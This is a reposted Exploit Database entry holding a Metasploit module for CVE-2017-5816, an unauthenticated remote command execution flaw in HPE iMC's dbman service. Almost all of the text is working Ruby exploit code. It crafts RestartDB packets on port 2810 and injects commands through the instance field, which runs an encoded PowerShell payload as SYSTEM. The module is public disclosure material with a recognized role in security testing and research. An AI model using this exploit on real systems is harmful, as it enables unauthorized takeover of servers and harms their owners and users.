HPE iMC – dbman ‘RestartDB’ Remote Command Execution (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2018-01-10
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43493/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'HPE iMC dbman RestartDB Unauthenticated RCE',
  'Description'=> %q{
  This module exploits a remote command execution vulnerablity in
  Hewlett Packard Enterprise Intelligent Management Center before
  version 7.3 E0504P04.
  
  The dbman service allows unauthenticated remote users to restart
  a user-specified database instance (OpCode 10008), however the
  instance ID is not sanitized, allowing execution of arbitrary
  operating system commands as SYSTEM. This service listens on
  TCP port 2810 by default.
  
  This module has been tested successfully on iMC PLAT v7.2 (E0403)
  on Windows 7 SP1 (EN).
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'sztivi', # Discovery
  'Chris Lyne', # Python PoC (@lynerc)
  'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
  ],
  'References' =>
  [
  ['CVE', '2017-5816'],
  ['EDB', '43198'],
  ['ZDI', '17-340'],
  ['URL', 'https://www.securityfocus.com/bid/98469/info'],
  ['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
  ],
  'Platform' => 'win',
  'Targets'=> [['Automatic', {}]],
  'Payload'=> { 'BadChars' => "\x00" },
  'DefaultOptions' => { 'WfsDelay' => 15 },
  'Privileged' => true,
  'DisclosureDate' => 'May 15 2017',
  'DefaultTarget'=> 0))
  register_options [Opt::RPORT(2810)]
  end
  
  def check
  # empty RestartDB packet
  pkt = [10008].pack('N')
  
  connect
  sock.put pkt
  res = sock.get_once
  disconnect
  
  # Expected reply:
  # "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
  return CheckCode::Detected if res =~ /dbman/i
  
  CheckCode::Safe
  end
  
  def dbman_msg(db_instance)
  data = ''
  
  db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
  db_type = "\x04" # SQL Server
  db_sa_username = rand_text_alpha rand(1..5)
  db_sa_password = rand_text_alpha rand(1..5)
  ora_db_ins = rand_text_alpha rand(1..5)
  
  # dbIp
  data << "\x04"
  data << [db_ip.length].pack('C')
  data << db_ip
  
  # iDBType
  data << "\x02"
  data << [db_type.length].pack('C')
  data << db_type
  
  # dbInstance
  data << "\x04"
  data << "\x82"
  data << [db_instance.length].pack('n')
  data << db_instance
  
  # dbSaUserName
  data << "\x04"
  data << [db_sa_username.length].pack('C')
  data << db_sa_username
  
  # dbSaPassword
  data << "\x04"
  data << [db_sa_password.length].pack('C')
  data << db_sa_password
  
  # strOraDbIns
  data << "\x04"
  data << [ora_db_ins.length].pack('C')
  data << ora_db_ins
  
  data
  end
  
  def dbman_restartdb_pkt(db_instance)
  data = dbman_msg db_instance
  
  # opcode 10008 (RestartDB)
  pkt = [10008].pack('N')
  
  # packet length
  pkt << "\x00\x00"
  pkt << [data.length + 4].pack('n')
  
  # packet data length
  pkt << "\x30\x82"
  pkt << [data.length].pack('n')
  
  # packet data
  pkt << data
  
  pkt
  end
  
  def execute_command(cmd, _opts = {})
  connect
  sock.put dbman_restartdb_pkt "\"& #{cmd} &"
  disconnect
  end
  
  def exploit
  command = cmd_psh_payload(
  payload.encoded,
  payload_instance.arch.first,
  { :remove_comspec => true, :encode_final_payload => true }
  )
  
  if command.length > 8000
  fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
  end
  
  print_status "Sending payload (#{command.length} bytes)..."
  execute_command command
  end
  end